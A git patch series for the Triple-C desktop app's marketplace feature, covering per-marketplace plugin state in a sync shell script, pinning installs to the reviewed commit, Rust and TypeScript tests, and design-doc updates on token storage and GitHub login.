rx.recv_timeout(StdDuration::from_millis(500)) { - Ok(request) => assert!( + // no connection at all is also the expected outcome + if let Ok(request) = rx.recv_timeout(StdDuration::from_millis(500)) { + assert!( !request.contains(FAKE) && !request.to_ascii_lowercase().contains("private-token"), "the redirect target must never receive the token: {request}" - ), - Err(_) => {} // no connection at all — the expected outcome + ); } } } diff --git a/app/src-tauri/src/marketplace/gh_login.rs b/app/src-tauri/src/marketplace/gh_login.rs index 5ff7de9..8a4be8b 100644 --- a/app/src-tauri/src/marketplace/gh_login.rs +++ b/app/src-tauri/src/marketplace/gh_login.rs @@ -67,8 +67,9 @@ pub fn valid_host(host: &str) -> bool { /// Remove terminal control sequences and carriage returns from one complete /// piece of text. An unterminated sequence at the end is dropped. The login /// itself uses a streaming [`AnsiStripper`], which carries a sequence split -/// across chunks instead. -pub fn strip_ansi(s: &str) -> String { +/// across chunks instead; this one-shot form exists for tests only. +#[cfg(test)] +fn strip_ansi(s: &str) -> String { AnsiStripper::default().push(s.as_bytes()) } diff --git a/app/src-tauri/src/marketplace/git.rs b/app/src-tauri/src/marketplace/git.rs index bf39be8..b012543 100644 --- a/app/src-tauri/src/marketplace/git.rs +++ b/app/src-tauri/src/marketplace/git.rs @@ -91,7 +91,7 @@ pub fn classify_fetch_error(chain: &str) -> FetchError { let cause = chain .lines() .filter_map(|l| l.trim_start().strip_prefix("└─")) - .last() + .next_back() .unwrap_or(chain); return FetchError::Network(first_line(cause)); } @@ -600,7 +600,7 @@ mod tests { want.sort(); assert_eq!(pins(&repo), want); - set_pins(&repo, &[b.clone()]).unwrap(); + set_pins(&repo, std::slice::from_ref(&b)).unwrap(); assert_eq!(pins(&repo), vec![format!("{}{}", PIN_PREFIX, b)]); } diff --git a/app/src-tauri/src/marketplace/sync.rs b/app/src-tauri/src/marketplace/sync.rs index 7794c8c..f2380f7 100644 --- a/app/src-tauri/src/marketplace/sync.rs +++ b/app/src-tauri/src/marketplace/sync.rs @@ -241,7 +241,7 @@ mod tests { skipped: vec![script_skip.clone()], ..Default::default() }; - let merged = with_payload_skips(report, &[payload_skip.clone()]); + let merged = with_payload_skips(report, std::slice::from_ref(&payload_skip)); assert_eq!(merged.skipped, vec![payload_skip, script_skip]); } diff --git a/app/src-tauri/src/marketplace/tree.rs b/app/src-tauri/src/marketplace/tree.rs index 7a033b0..f39dd7f 100644 --- a/app/src-tauri/src/marketplace/tree.rs +++ b/app/src-tauri/src/marketplace/tree.rs @@ -4,8 +4,10 @@ //! against [`MemTree`] with no git involved, and runs in production against //! [`GitTree`], which reads git objects straight out of the bare cache. +#[cfg(test)] use std::collections::BTreeMap; +#[cfg(test)] use sha2::{Digest, Sha256}; #[derive(Debug, Clone, Copy, PartialEq, Eq)] diff --git a/app/src-tauri/src/models/mod.rs b/app/src-tauri/src/models/mod.rs index 9935ee4..bd6b344 100644 --- a/app/src-tauri/src/models/mod.rs +++ b/app/src-tauri/src/models/mod.rs @@ -11,7 +11,6 @@ pub mod update_info; pub use app_settings::*; pub use container_config::*; pub use gateway_settings::*; -pub use marketplace::*; pub use migration::*; pub use note::*; pub use project::*; diff --git a/app/src/components/projects/home/config/MarketplaceSection.test.tsx b/app/src/components/projects/home/config/MarketplaceSection.test.tsx index e623078..6c100d5 100644 --- a/app/src/components/projects/home/config/MarketplaceSection.test.tsx +++ b/app/src/components/projects/home/config/MarketplaceSection.test.tsx @@ -77,8 +77,9 @@ describe("MarketplaceSection", () => { ); }); - it("opens the Marketplace filtered to this project", () => { + it("opens the Marketplace filtered to this project", async () => { render(); + await screen.findByText(/a file you created has the same name/); fireEvent.click(screen.getByRole("button", { name: "Open in Marketplace" })); expect(useAppState.getState().activeTabKey).toBe(MARKETPLACE_TAB_KEY); expect(useAppState.getState().marketplaceFilterProjectId).toBe("p1"); diff --git a/docs/superpowers/specs/2026-09-27-marketplace-design.md b/docs/superpowers/specs/2026-09-27-marketplace-design.md index 1475107..40387ec 100644 --- a/docs/superpowers/specs/2026-09-27-marketplace-design.md +++ b/docs/superpowers/specs/2026-09-27-marketplace-design.md @@ -41,7 +41,7 @@ publishing to a marketplace from inside Triple-C, a separate OS window for the m (shared Claude token, gateway keys). Project secrets are restricted to `PROJECT_SECRET_KEYS`. - Container start: `commands/project_commands.rs` `start_project_container` runs `docker::sync_bedrock_credentials` after start (≈:1448) — the pattern the marketplace sync follows. -- Exec/upload: `docker/exec.rs` `upload_bytes_to_container(container_id, dest_dir, file_name, data)`, +- Exec/upload: `docker/exec.rs` `upload_bytes_to_container(container_id, dest_dir, file_name, data, mode)`, `exec_oneshot_streams_as(container_id, user, cmd, env)`, `create_attached_exec_as(…, tty, user)`. Container user is addressed as `"claude"`. Constant-script + env-data rule: header of `commands/inspect_commands.rs`. @@ -141,10 +141,10 @@ pub marketplace_installs: Vec, // project-only additions pub marketplace_disabled: Vec, // (marketplace_id, kind, key) opted out ``` -**Secrets.** Token and GhContainer accounts keep their token in the keychain as -`marketplace-account:` (new global helpers in `secure.rs` alongside the gateway ones). -GhHost accounts store nothing: every fetch runs `gh auth token --hostname ` so a later -`gh auth refresh`/logout on the host is honoured. Deleting an account deletes its entry. +**Secrets.** Token and GhContainer accounts keep their token in the keychain, one service per +account (`triple-c-marketplace-account-`; new global helpers in `secure.rs` alongside the +gateway ones). GhHost accounts store nothing: every fetch runs `gh auth token --hostname ` +so a later `gh auth refresh`/logout on the host is honoured. Deleting an account deletes its entry. **Effective set for a project** (pure function, unit-tested): `(global − project.marketplace_disabled) ∪ project.marketplace_installs`, keyed by @@ -161,7 +161,13 @@ the next sync removes those items from containers; the UI says so before the mar removed and offers "Forget" to drop the stale entries. **Export/import.** Accounts (without secrets), marketplaces and install lists go into the existing -export; account tokens follow the existing encrypted-secrets policy of `settings_export.rs`. +export as ordinary `AppSettings` fields; account tokens follow the existing encrypted-secrets +policy of `settings_export.rs` (`ExportedSecrets::marketplace_account_tokens`, keyed by account +id, restored to the keychain before the settings replace). Because the import is untrusted input +and not merely a restore, imported marketplaces and installs are validated on import the same way +the add-marketplace/install commands validate them (host, key pattern, pinned-commit shape), and +the confirmation preview warns whenever the import contains a global hook or global plugin install +— those skip the hook-confirm step an install from the Marketplace tab shows. ## 3. Fetching and signing in @@ -186,11 +192,14 @@ Hooks' diffs always show the rendered commands. logged in, tell the user to run `gh auth login` (we do not drive the host's gh interactively). `gh api user --jq .login` for the display name. - **GitHub via `gh` in a container** (no host `gh`): user picks a running project; Triple-C runs - `gh auth login --hostname --web --git-protocol https --scopes repo` in an attached pty - exec with `GH_CONFIG_DIR=$(mktemp -d)`, surfaces the one-time code and URL in a dialog (same - shape as `ClaudeAuthModal`), then runs `gh auth token` with the same config dir, stores the - token in the keychain and `rm -rf`s the dir. Cancel tears the exec down. Nothing persists in the - container, so Claude in that container is not logged into the user's GitHub. + `gh auth login --hostname --web --git-protocol ssh --skip-ssh-key --scopes repo` in an + attached pty exec, with `GH_CONFIG_DIR` and `GIT_CONFIG_GLOBAL` both pointed at a temp dir + (`$(mktemp -d)`) — `--git-protocol ssh --skip-ssh-key` avoids gh's "Authenticate Git with your + GitHub credentials?" prompt, which under `https` would otherwise write a credential helper into + `~/.gitconfig`. It surfaces the one-time code and URL in a dialog (same shape as + `ClaudeAuthModal`), then runs `gh auth token` with the same config dir, stores the token in the + keychain and `rm -rf`s the dir. Cancel tears the exec down. Nothing persists in the container, + so Claude in that container is not logged into the user's GitHub. - **Token**: pasted once, validated via the host's "who am I" API (GitHub `GET /user`, Gitea `GET /api/v1/user`, GitLab `GET /api/v4/user`; unknown host → test `ls-remote`-equivalent fetch), stored in the keychain. The token is never returned to the frontend. -- 2.52.0 From f2ebddd07311fb8d71324b2b1d0d607ebf4577bc Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 10:07:57 -0700 Subject: [PATCH 27/45] Marketplace sync: track plugin state per marketplace (final review I1) Two marketplaces shipping a plugin of the same name shared one "plugin:" state record, so every sync reinstalled one copy and reported it updated, and removing one marketplace never uninstalled its copy. Plugin state ids are now "plugin:/"; the slug and key for an uninstall are derived from the id and re-validated. Older "plugin:" records are migrated using their recorded slug, so existing installs are neither reinstalled nor orphaned. Reports keep "plugin:". Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/sync.sh | 56 ++++--- .../src/marketplace/sync_script_tests.rs | 140 ++++++++++++++++++ .../specs/2026-09-27-marketplace-design.md | 4 +- 3 files changed, 182 insertions(+), 18 deletions(-) diff --git a/app/src-tauri/src/marketplace/sync.sh b/app/src-tauri/src/marketplace/sync.sh index 381419d..befe3fb 100644 --- a/app/src-tauri/src/marketplace/sync.sh +++ b/app/src-tauri/src/marketplace/sync.sh @@ -92,12 +92,17 @@ claude_cmd() { fi } -owned() { jq -e --arg id "$1" '.items | has($id)' "$STATE" >/dev/null 2>&1; } -prev_commit() { jq -r --arg id "$1" '.items[$id].commit // ""' "$STATE"; } -# Every ":" the manifest names with string fields, well-formed or +# State ids are ":", except plugins: "plugin:/", since +# two marketplaces may ship a plugin of the same name. Reports keep +# ":" for every kind. $OLD is the state as read at the start +# (legacy "plugin:" records migrated); $STATE is written once, at the end. +OLD="$R/state.json" +owned() { jq -e --arg id "$1" '.items | has($id)' "$OLD" >/dev/null 2>&1; } +prev_commit() { jq -r --arg id "$1" '.items[$id].commit // ""' "$OLD"; } +# Every state id the manifest names with string fields, well-formed or # not: a selected item that failed this run must not be removed. in_manifest() { grep -qxF "$1" "$R/manifest_ids"; } -carry_forward() { record "$1" "$(jq -c --arg id "$1" '.items[$id]' "$STATE")"; } +carry_forward() { record "$1" "$(jq -c --arg id "$1" '.items[$id]' "$OLD")"; } # $1 = installed|updated|none for this id at this commit. outcome_of() { p=$(prev_commit "$1") @@ -182,7 +187,9 @@ if ! { end | map("_" + .) | @tsv' "$MANIFEST" >"$R/items.tsv" && jq -r '.items[] | objects | select((.kind | type) == "string" and (.key | type) == "string") - | [.kind + ":" + .key] | @tsv' "$MANIFEST" >"$R/manifest_ids" && + | [if .kind == "plugin" and (.slug | type) == "string" + then "plugin:" + .slug + "/" + .key else .kind + ":" + .key end] | @tsv' \ + "$MANIFEST" >"$R/manifest_ids" && jq -r '.plugin_marketplaces[] | if type == "object" and (.slug | type) == "string" then .slug else "" end | [.] | @tsv' "$MANIFEST" >"$R/new_slugs" @@ -192,6 +199,16 @@ fi if ! jq -e '(.items | type) == "object"' "$STATE" >/dev/null 2>&1; then printf '%s\n' '{"version":1,"items":{},"plugin_marketplaces":[]}' >"$STATE" fi +# Records from before plugins were tracked per marketplace ("plugin:") +# carry their slug: rename them so they are neither reinstalled nor orphaned. +# One without a string slug keeps its id and is dropped as unrecognised below. +if ! jq '.items |= with_entries( + if (.key | startswith("plugin:")) and (.key | contains("/") | not) + and (.value | type) == "object" and (.value.slug | type) == "string" + then .key = "plugin:" + .value.slug + "/" + (.key | ltrimstr("plugin:")) + else . end)' "$STATE" >"$OLD" 2>/dev/null; then + malformed "the marketplace state could not be read, so nothing was changed" +fi # ── Agents, skills, commands, hooks ────────────────────────────────────────── while IFS="$TAB" read -r status kind key commit slug; do @@ -265,7 +282,7 @@ done <"$R/items.tsv" # ── Removals (non-plugin) ──────────────────────────────────────────────────── cut -f1 "$R/newstate" >"$R/new_ids" -jq -r '.items | keys[]' "$STATE" >"$R/old_ids" +jq -r '.items | keys[]' "$OLD" >"$R/old_ids" while read -r id; do case "$id" in plugin:*) continue ;; esac if grep -qxF "$id" "$R/new_ids"; then continue; fi @@ -296,7 +313,7 @@ done <"$R/old_ids" # shellcheck disable=SC2016 # jq program, not shell MERGE_ENTRIES='[.[] | .entries? // empty] | reduce .[] as $e ({}; reduce ($e | to_entries[]) as $x (.; .[$x.key] += $x.value))' -OLD_HOOKS=$(jq -c "[.items[]] | $MERGE_ENTRIES" "$STATE") +OLD_HOOKS=$(jq -c "[.items[]] | $MERGE_ENTRIES" "$OLD") NEW_HOOKS=$(cut -f2- "$R/newstate" | jq -cs "$MERGE_ENTRIES") HOOKS_FAILED=0 if [ "$OLD_HOOKS" != "{}" ] || [ "$NEW_HOOKS" != "{}" ]; then @@ -358,7 +375,7 @@ if [ "$HOOKS_FAILED" = 0 ]; then fi # ── Plugins ────────────────────────────────────────────────────────────────── -jq -r '.plugin_marketplaces[]?' "$STATE" >"$R/old_slugs" +jq -r '.plugin_marketplaces[]?' "$OLD" >"$R/old_slugs" while read -r slug; do if ! valid_slug "$slug"; then fail "invalid plugin marketplace name"; continue; fi mname="triple-c-$slug" @@ -377,16 +394,17 @@ while read -r slug; do key=${key#_} commit=${commit#_} pslug=${pslug#_} [ "$pslug" = "$slug" ] || continue id="plugin:$key" - p=$(prev_commit "$id") + sid="plugin:$slug/$key" + p=$(prev_commit "$sid") if [ -z "$p" ]; then - claude_cmd plugin install "$key@$mname" || { fail "$id: install failed"; continue; } + claude_cmd plugin install "$key@$mname" || { fail "$id ($mname): install failed"; continue; } report installed "$id" elif [ "$p" != "$commit" ]; then claude_cmd plugin uninstall "$key@$mname" - claude_cmd plugin install "$key@$mname" || { fail "$id: reinstall failed"; continue; } + claude_cmd plugin install "$key@$mname" || { fail "$id ($mname): reinstall failed"; continue; } report updated "$id" fi - record "$id" "$(jq -cn --arg c "$commit" --arg s "$slug" '{commit: $c, slug: $s}')" + record "$sid" "$(jq -cn --arg c "$commit" --arg s "$slug" '{commit: $c, slug: $s}')" done <"$R/plugin_items" done <"$R/new_slugs" @@ -395,16 +413,20 @@ while read -r id; do case "$id" in plugin:*) ;; *) continue ;; esac if grep -qxF "$id" "$R/new_ids" || cut -f1 "$R/newstate" | grep -qxF "$id"; then continue; fi if in_manifest "$id"; then carry_forward "$id"; continue; fi - key=${id#plugin:} - slug=$(jq -r --arg id "$id" '.items[$id].slug // ""' "$STATE") + # Name and marketplace come from the id alone ("plugin:/"). + rest=${id#plugin:} + case "$rest" in + */*) slug=${rest%%/*} key=${rest#*/} ;; + *) slug="" key="" ;; + esac if ! valid_key "$key" || ! valid_slug "$slug"; then fail "$id: dropped an unrecognised record from the marketplace state" continue fi if claude_cmd plugin uninstall "$key@triple-c-$slug"; then - report removed "$id" + report removed "plugin:$key" else - fail "$id: uninstall failed" + fail "plugin:$key (triple-c-$slug): uninstall failed" carry_forward "$id" fi done <"$R/old_ids" @@ -426,7 +448,7 @@ if [ "$HOOKS_FAILED" = 1 ]; then jq -s '.[0] as $new | .[1].items as $old | ($new | with_entries(select(.key | startswith("hook:") | not))) + ($old | with_entries(select(.key | startswith("hook:"))))' \ - "$R/items.json" "$STATE" >"$R/items2.json" && mv -f "$R/items2.json" "$R/items.json" + "$R/items.json" "$OLD" >"$R/items2.json" && mv -f "$R/items2.json" "$R/items.json" fi if jq -n --slurpfile it "$R/items.json" --rawfile sl "$R/final_slugs" \ '{ version: 1, items: $it[0], plugin_marketplaces: ($sl | split("\n") | map(select(length > 0)) | unique) }' \ diff --git a/app/src-tauri/src/marketplace/sync_script_tests.rs b/app/src-tauri/src/marketplace/sync_script_tests.rs index a0606af..e6489dd 100644 --- a/app/src-tauri/src/marketplace/sync_script_tests.rs +++ b/app/src-tauri/src/marketplace/sync_script_tests.rs @@ -884,3 +884,143 @@ fn sync_drops_state_records_without_a_kind_key_id() { let state = read_json(&state_path); assert_eq!(state["items"], json!({}), "bogus records dropped"); } + +// ── Plugin state per marketplace (final review I1) ─────────────────────────── + +const SLUG_A: &str = "mp-aaaaaaaa"; +const SLUG_B: &str = "mp-bbbbbbbb"; + +/// A payload in which each marketplace ships plugin `p` at its own commit. +fn shared_plugin_payload(env: &Env, slugs: &[(&str, &str)]) { + let mut files: Vec<(String, String)> = Vec::new(); + let mut items = Vec::new(); + let mut groups = Vec::new(); + for (slug, commit) in slugs { + files.push(( + format!("plugins/{slug}/.claude-plugin/marketplace.json"), + format!( + r#"{{"name":"triple-c-{slug}","owner":{{"name":"Triple-C"}},"plugins":[{{"name":"p","source":"./p"}}]}}"# + ), + )); + files.push(( + format!("plugins/{slug}/p/.claude-plugin/plugin.json"), + r#"{"name":"p"}"#.to_string(), + )); + items.push(json!({ "kind": "plugin", "key": "p", "marketplace": slug, "commit": commit, "slug": slug })); + groups.push(json!({ "slug": slug, "dir": format!("plugins/{slug}"), "plugins": ["p"] })); + } + let refs: Vec<(&str, &str, bool)> = files + .iter() + .map(|(p, t)| (p.as_str(), t.as_str(), false)) + .collect(); + payload( + env, + &refs, + json!({ "version": 1, "items": items, "plugin_marketplaces": groups }), + ); +} + +fn nothing_reported(r: &SyncReport) -> bool { + r.installed.is_empty() && r.updated.is_empty() && r.removed.is_empty() && r.errors.is_empty() +} + +#[test] +fn two_marketplaces_sharing_a_plugin_name_reach_a_steady_state() { + let Some(env) = env() else { return }; + + shared_plugin_payload(&env, &[(SLUG_A, C1), (SLUG_B, C2)]); + let r = run(&env); + assert_eq!(r.installed, vec!["plugin:p", "plugin:p"], "{r:?}"); + assert!(r.errors.is_empty(), "{r:?}"); + + // Nothing changed: no reinstall, nothing reported. + for _ in 0..2 { + fs::remove_file(&env.log).unwrap(); + shared_plugin_payload(&env, &[(SLUG_A, C1), (SLUG_B, C2)]); + let r = run(&env); + assert!(nothing_reported(&r), "{r:?}"); + assert_eq!( + claude_log(&env), + vec![ + format!("plugin marketplace update triple-c-{SLUG_A}"), + format!("plugin marketplace update triple-c-{SLUG_B}"), + ] + ); + } + + // One marketplace's copy is removed: only that copy is uninstalled. + fs::remove_file(&env.log).unwrap(); + shared_plugin_payload(&env, &[(SLUG_A, C1)]); + let r = run(&env); + assert_eq!(r.removed, vec!["plugin:p"], "{r:?}"); + assert!(r.installed.is_empty() && r.updated.is_empty(), "{r:?}"); + assert_eq!( + claude_log(&env), + vec![ + format!("plugin marketplace update triple-c-{SLUG_A}"), + format!("plugin uninstall p@triple-c-{SLUG_B}"), + format!("plugin marketplace remove triple-c-{SLUG_B}"), + ] + ); + + // And the survivor stays put. + fs::remove_file(&env.log).unwrap(); + shared_plugin_payload(&env, &[(SLUG_A, C1)]); + let r = run(&env); + assert!(nothing_reported(&r), "{r:?}"); + assert_eq!( + claude_log(&env), + vec![format!("plugin marketplace update triple-c-{SLUG_A}")] + ); +} + +fn write_state(env: &Env, state: Value) -> PathBuf { + let p = env.home.join(".claude/triple-c/marketplace/state.json"); + fs::create_dir_all(p.parent().unwrap()).unwrap(); + fs::write(&p, state.to_string()).unwrap(); + p +} + +#[test] +fn legacy_plugin_records_are_migrated_not_reinstalled() { + let Some(env) = env() else { return }; + // State as written by an earlier sync.sh: plugins keyed "plugin:". + let state_path = write_state( + &env, + json!({ "version": 1, "plugin_marketplaces": [SLUG_A], + "items": { "plugin:p": { "commit": C1, "slug": SLUG_A } } }), + ); + + shared_plugin_payload(&env, &[(SLUG_A, C1)]); + let r = run(&env); + assert!(nothing_reported(&r), "{r:?}"); + assert_eq!( + claude_log(&env), + vec![format!("plugin marketplace update triple-c-{SLUG_A}")] + ); + let items = read_json(&state_path)["items"].clone(); + assert!(items.get("plugin:p").is_none(), "{items}"); + assert_eq!(items[format!("plugin:{SLUG_A}/p")]["commit"], C1, "{items}"); +} + +#[test] +fn a_deselected_legacy_plugin_record_is_still_uninstalled() { + let Some(env) = env() else { return }; + let state_path = write_state( + &env, + json!({ "version": 1, "plugin_marketplaces": [SLUG_A], + "items": { "plugin:p": { "commit": C1, "slug": SLUG_A } } }), + ); + + payload(&env, &[], empty_manifest()); + let r = run(&env); + assert_eq!(r.removed, vec!["plugin:p"], "{r:?}"); + assert_eq!( + claude_log(&env), + vec![ + format!("plugin uninstall p@triple-c-{SLUG_A}"), + format!("plugin marketplace remove triple-c-{SLUG_A}"), + ] + ); + assert_eq!(read_json(&state_path)["items"], json!({})); +} diff --git a/docs/superpowers/specs/2026-09-27-marketplace-design.md b/docs/superpowers/specs/2026-09-27-marketplace-design.md index 40387ec..ab0abd3 100644 --- a/docs/superpowers/specs/2026-09-27-marketplace-design.md +++ b/docs/superpowers/specs/2026-09-27-marketplace-design.md @@ -252,7 +252,9 @@ installed last time, including the exact hook entries it inserted). - Plugins: marketplace name `triple-c-`; copy the generated tree to `~/.claude/triple-c/plugins//`; `claude plugin marketplace add` it the first time, else `claude plugin marketplace update triple-c-`; `install` newly selected, `uninstall` - removed; drop the marketplace registration when it has no plugins left. + removed; drop the marketplace registration when it has no plugins left. Plugin state is kept + per marketplace (`plugin:/`), so two marketplaces may ship a plugin of the same + name; older `plugin:` records are migrated using their recorded slug. - Emits a report: `{installed, updated, removed, skipped: [{item, reason}], errors: [...]}`. **Failure handling.** A sync failure never fails the container start; it is logged, stored as the -- 2.52.0 From dd019cf2c03ca60def60681e77817dc78ce0a020 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 10:11:19 -0700 Subject: [PATCH 28/45] Marketplace: pin the commit the user reviewed (final review I2) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Install and update pinned whatever the marketplace head was when the click landed, so a background refresh between review and click could pin content nobody saw (including a hook's shell commands). install_marketplace_item and update_marketplace_item now take expected_commit and refuse with "changed since you reviewed this item — review it again" unless it is still the head. The UI passes the head the selected item was read at (Browse), the head frozen with a pending hook confirm (whose commands are frozen too), and the head of the accepted diff (Installed). Co-Authored-By: Claude Opus 5.5 --- .../src/commands/marketplace_commands.rs | 67 +++++++++++++------ .../marketplace/BrowsePane.test.tsx | 14 +++- app/src/components/marketplace/BrowsePane.tsx | 21 ++++-- .../marketplace/HookConfirmModal.tsx | 8 ++- .../marketplace/InstallControls.test.tsx | 41 +++++++++--- .../marketplace/InstallControls.tsx | 29 ++++++-- .../marketplace/InstalledPane.test.tsx | 13 +++- .../components/marketplace/InstalledPane.tsx | 18 +++-- app/src/components/marketplace/ItemDetail.tsx | 6 +- app/src/hooks/useMarketplace.test.ts | 16 ++++- app/src/hooks/useMarketplace.ts | 14 ++-- app/src/lib/tauri-commands.ts | 10 +-- .../specs/2026-09-27-marketplace-design.md | 5 +- 13 files changed, 197 insertions(+), 65 deletions(-) diff --git a/app/src-tauri/src/commands/marketplace_commands.rs b/app/src-tauri/src/commands/marketplace_commands.rs index 873dc65..2d716ad 100644 --- a/app/src-tauri/src/commands/marketplace_commands.rs +++ b/app/src-tauri/src/commands/marketplace_commands.rs @@ -62,6 +62,26 @@ pub(crate) mod ops { } } + /// The commit to pin for an install or update: the marketplace's current + /// head, but only if it is the one the person reviewed (`expected`, the + /// head the UI showed or diffed against). A refresh that lands between + /// review and click must not pin content nobody saw (final review I2). + pub fn reviewed_head( + head: Option<&str>, + expected: &str, + marketplace_name: &str, + ) -> Result { + let head = head.ok_or_else(|| { + format!("\"{marketplace_name}\" has not been fetched yet — refresh it first.") + })?; + if head != expected { + return Err(format!( + "\"{marketplace_name}\" has changed since you reviewed this item — review it again." + )); + } + Ok(head.to_string()) + } + /// An unvalidated value as it may appear in an error: quoted and escaped /// (`{:?}`) and capped at 60 characters, since it can come from an /// import file rather than from what the person just typed. @@ -226,6 +246,23 @@ pub(crate) mod ops { } } + /// Final review I2: an install or update pins exactly the commit the + /// person reviewed, or nothing. + #[test] + fn only_the_reviewed_head_is_pinned() { + let h = "a".repeat(40); + assert_eq!(reviewed_head(Some(&h), &h, "Team").unwrap(), h); + let moved = reviewed_head(Some(&h), &"b".repeat(40), "Team").unwrap_err(); + assert!(moved.contains("changed since you reviewed"), "{moved}"); + assert!(moved.contains("review it again"), "{moved}"); + assert!(reviewed_head(Some(&h), "", "Team").is_err()); + let unfetched = reviewed_head(None, &h, "Team").unwrap_err(); + assert!( + unfetched.contains("has not been fetched yet"), + "{unfetched}" + ); + } + /// Pre-flight F13: the add form and the fetch agree on what a branch /// is, so a name the fetch would refuse is refused up front. #[test] @@ -642,24 +679,21 @@ pub async fn forget_marketplace_installs( // Installs // ───────────────────────────────────────────────────────────────────────────── -/// Pins the item at the marketplace's current head. Returns fresh settings; -/// for a project scope the caller reloads projects. +/// Pins the item at `expected_commit`, the head the person reviewed, which +/// must still be the marketplace's head. Returns fresh settings; for a +/// project scope the caller reloads projects. #[tauri::command] pub async fn install_marketplace_item( item: MarketplaceItemRef, scope: InstallScope, + expected_commit: String, state: State<'_, AppState>, ) -> Result { validate_item(&item)?; let settings = state.settings_store.get(); let m = find_marketplace(&settings, &item.marketplace_id)?; let snap = snapshot_blocking(&state, &m).await?; - let head = snap.head_commit.clone().ok_or_else(|| { - format!( - "\"{}\" has not been fetched yet — refresh it first.", - m.name - ) - })?; + let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?; let entry = snap .items .iter() @@ -781,26 +815,21 @@ pub async fn marketplace_item_diff( .map_err(|e| format!("Computing the diff failed: {e}"))? } -/// Moves one install's pin to the marketplace's head, if the item is still -/// installable there. +/// Moves one install's pin to `expected_commit`, the head whose diff the +/// person accepted, if that is still the marketplace's head and the item is +/// still installable there. #[tauri::command] pub async fn update_marketplace_item( item: MarketplaceItemRef, scope: InstallScope, + expected_commit: String, state: State<'_, AppState>, ) -> Result<(), String> { validate_item(&item)?; let settings = state.settings_store.get(); let m = find_marketplace(&settings, &item.marketplace_id)?; - let head = snapshot_blocking(&state, &m) - .await? - .head_commit - .ok_or_else(|| { - format!( - "\"{}\" has not been fetched yet — refresh it first.", - m.name - ) - })?; + let snap = snapshot_blocking(&state, &m).await?; + let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?; let repo = git::cache_path(state.marketplace.data_root(), &m.id); let (kind, key, at) = (item.kind, item.key.clone(), head.clone()); diff --git a/app/src/components/marketplace/BrowsePane.test.tsx b/app/src/components/marketplace/BrowsePane.test.tsx index 4c74e50..1db79b7 100644 --- a/app/src/components/marketplace/BrowsePane.test.tsx +++ b/app/src/components/marketplace/BrowsePane.test.tsx @@ -4,7 +4,9 @@ import { useAppState } from "../../store/appState"; import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types"; import type { MarketplaceApi } from "../../hooks/useMarketplace"; -vi.mock("./InstallControls", () => ({ default: () =>
    install controls
    })); +vi.mock("./InstallControls", () => ({ + default: ({ headCommit }: { headCommit: string | null }) =>
    install controls at {headCommit}
    , +})); vi.mock("./AddMarketplaceModal", () => ({ default: () =>
    add modal
    })); import BrowsePane from "./BrowsePane"; @@ -76,7 +78,15 @@ describe("BrowsePane", () => { fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ })); expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument(); - expect(screen.getByText("install controls")).toBeInTheDocument(); + expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument(); + }); + + it("I2: installs pin the head the shown item was read at, not a later one", () => { + const mp = api(); + const { rerender } = render(); + fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ })); + rerender(); + expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument(); }); it("shows why an item is invalid", () => { diff --git a/app/src/components/marketplace/BrowsePane.tsx b/app/src/components/marketplace/BrowsePane.tsx index 08bf9ec..3f1edef 100644 --- a/app/src/components/marketplace/BrowsePane.tsx +++ b/app/src/components/marketplace/BrowsePane.tsx @@ -24,7 +24,13 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) { const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId); const [kind, setKind] = useState("all"); const [query, setQuery] = useState(""); - const [selected, setSelected] = useState<{ marketplaceId: string; item: CatalogItem } | null>(null); + // The item is kept as it was read, with the head it was read at: an + // install pins exactly what the detail pane shows (final review I2). + const [selected, setSelected] = useState<{ + marketplaceId: string; + item: CatalogItem; + headCommit: string | null; + } | null>(null); const [adding, setAdding] = useState(false); const [removing, setRemoving] = useState(null); @@ -35,7 +41,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) { .filter((i) => kind === "all" || i.kind === kind) .filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q)) .sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name)) - .map((item) => ({ marketplaceId: snap.marketplace_id, item })), + .map((item) => ({ marketplaceId: snap.marketplace_id, item, headCommit: snap.head_commit })), ); }, [mp.snapshots, kind, query]); @@ -161,7 +167,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) { className={inputClass} />
      - {rows.map(({ marketplaceId, item }) => { + {rows.map(({ marketplaceId, item, headCommit }) => { const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key }); const isSel = selected?.marketplaceId === marketplaceId && @@ -171,7 +177,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
    • @@ -175,9 +182,10 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) { fromCommit={pending.install.commit} toCommit={pending.update.head} scopeLabel={pending.scopeLabel} - hookCommands={hookCommandsFor(pending.update.item)} + hookCommands={pending.hookCommands} onClose={() => setPending(null)} - onAccept={() => mp.update(pending.update.item, pending.scope)} + // Pin exactly the head whose diff is on screen (final review I2). + onAccept={() => mp.update(pending.update.item, pending.scope, pending.update.head)} /> )}
    diff --git a/app/src/components/marketplace/ItemDetail.tsx b/app/src/components/marketplace/ItemDetail.tsx index 3a4647e..659454d 100644 --- a/app/src/components/marketplace/ItemDetail.tsx +++ b/app/src/components/marketplace/ItemDetail.tsx @@ -8,9 +8,11 @@ interface Props { mp: MarketplaceApi; item: CatalogItem; marketplaceId: string; + /** The marketplace head `item` was read at. */ + headCommit: string | null; } -export default function ItemDetail({ mp, item, marketplaceId }: Props) { +export default function ItemDetail({ mp, item, marketplaceId, headCommit }: Props) { return (
